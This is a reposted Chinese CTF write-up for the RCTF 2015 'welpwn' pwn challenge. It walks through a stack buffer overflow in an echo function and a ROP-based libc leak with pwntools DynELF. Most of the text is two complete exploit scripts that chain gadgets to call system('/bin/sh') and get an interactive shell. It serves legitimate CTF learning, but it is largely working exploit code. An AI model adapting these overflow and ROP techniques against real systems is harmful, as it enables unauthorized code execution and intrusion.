转载地址:http://blog.youkuaiyun.com/SmalOSnail/article/details/53436113
题目来源
RCTF 2015 welpwn
http://oj.xctf.org.cn/files/welpwn_932a4428ea8d4581431502ab7e66ea4b
题目分析
先获取程序的基本信息:
然后用ida
静态分析程序代码,main
函数如下:
主函数中read()
函数读取了1024
个字节的数据,随后调用echo
函数:
可以看到echo
函数栈桢的大小是20h
echo
函数中存在一个循环赋值,循环次数是read
函数读的数据的长度,如下图:
由于echo
函数的栈桢大小(20h
)远小于read
函数可以读取的数据长度(400h
),在进行循环赋值的时候,echo
函数保存在栈中的返回地址会被覆盖。
下图是输入为"A"*12 + "B"*12 + "C"*4
时,程序执行到循环赋值时栈的情况:
高亮的部分是echo
函数的返回地址,它即将被覆盖。
解题思路
由于程序设置了栈不可执行,可以构造ROP链,泄露libc中的函数
- 泄露libc,获取
system
,gets
等函数地址 - 构造
gets(bss);
将'/bin/sh'
写入bss
段 - 构造
'system("/bin/sh")'
得到shell
解题过程
使用Linux_x64
中通用的gadgets构造ROP链
首先收集一些需要用到的信息,包括bss段的地址、main函数地址、程序中已有函数的地址、gadgets地址……
使用ROPgadgets
寻找gadgets
(用于构造ROP链):
main
函数地址(用作返回地址):
bss
段开始地址(用于存储字符串’/bin/sh’):
gets
(plt)函数地址(用作泄露内存):
构造ROP链,泄露内存:
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
利用pwnlib
中DynELF
模块泄露libc
中system
和puts
地址:
def leak(addr):
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
p.sendline(payload)
p.recv(27)
tmp = p.recv()
data = tmp.split("\nWelcome")[0]
if len(data):
return data
else:
return '\x00'
d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
gets = d.lookup('gets', 'libc')
构造ROP链将'/bin/sh'
写入bss
段,并执行system("/bin/sh")
:
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
payload = "A"*24 + p64(ppppr) + rop
解题脚本
这里有两个脚本,第一个是我自己写的,第二个是参考fuchuangbob的脚本。自己写的时候没有想到可以利用pop rdi; ret
这个gadgets,写的略显复杂,但是构造ROP链的部分写的比较详细,不熟悉ROP链构造的同学可以看下exp1
。exp2
比较高级,代码也很简练,我从中也学到了不少:D
exp1.py
#!/usr/bin/python
# only use general gadgets
from pwn import *
p = process('welpwn')
context(arch='amd64', os='linux')
# load program
elf = ELF('welpwn')
# infomation
read_got = elf.symbols['got.read']
log.info("read_got = " + hex(read_got))
write_got = elf.symbols['got.write']
log.info("write_got = " + hex(write_got))
main = elf.symbols['main']
log.info("main = " + hex(main))
# overflow point
buflen = 24
# gadgets
mmmcall = 0x400880
ppppppr = 0x40089a
ppppr = 0x40089c
# junk code
padding = 0xdeadbeef
# need leak libc
# function 1 get system addr
# write(1, address, 8)
flag = 0
def leak(address):
global flag
payload = ""
payload += "Q" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = address
r15 = 1
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil('RCTF\n')
p.sendline(payload)
if flag:
p.recv(0x1b)
data = p.recv(8)
log.info("recv: " + str(data))
flag += 1
return data
d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
log.info("system addr = " + hex(system))
#system = 0x7ffff7a60e10
bss = 0x601300
payload = ""
payload += "P" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = read_got
r13 = 17
r14 = bss
r15 = 0
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(payload)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system))
# # function check bss
# # write(1, bss, 16)
check = ""
check += "C" * buflen
check += p64(ppppr)
check += p64(ppppppr)
rbx = 0
rbp = 1
r12 = write_got
r13 = 16
r14 = bss
r15 = 1
ret = mmmcall
check += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
check += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(check)
sleep(1)
p.recv(0x1b)
log.info("recv:" + p.recv(16).encode('hex'))
# function 3 get shell
# system(bss)
payload = ""
payload += "R" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = bss+0x8
r13 = bss
r14 = bss
r15 = bss
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(payload)
sleep(0.5)
p.recv()
p.interactive()
exp2.py
#!/usr/bin/python
from pwn import *
p = process('welpwn')
#context.log_level = 'debug'
ppppr = 0x40089c
poprdi = 0x4008a3
main = 0x4007cd
puts_plt = 0x4005a0
bss = 0x601070
p.recvuntil("RCTF\n")
def leak(addr):
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
p.sendline(payload)
p.recv(27)
tmp = p.recv()
data = tmp.split("\nWelcome")[0]
if len(data):
return data
else:
return '\x00'
d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
log.info("system addr = " + hex(system))
gets = d.lookup('gets', 'libc')
log.info("gets addr = " + hex(gets))
# gets(bss); system(bss);
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
payload = "A"*24 + p64(ppppr) + rop
p.sendline(payload)
sleep(1)
p.sendline('/bin/sh\0')
p.interactive()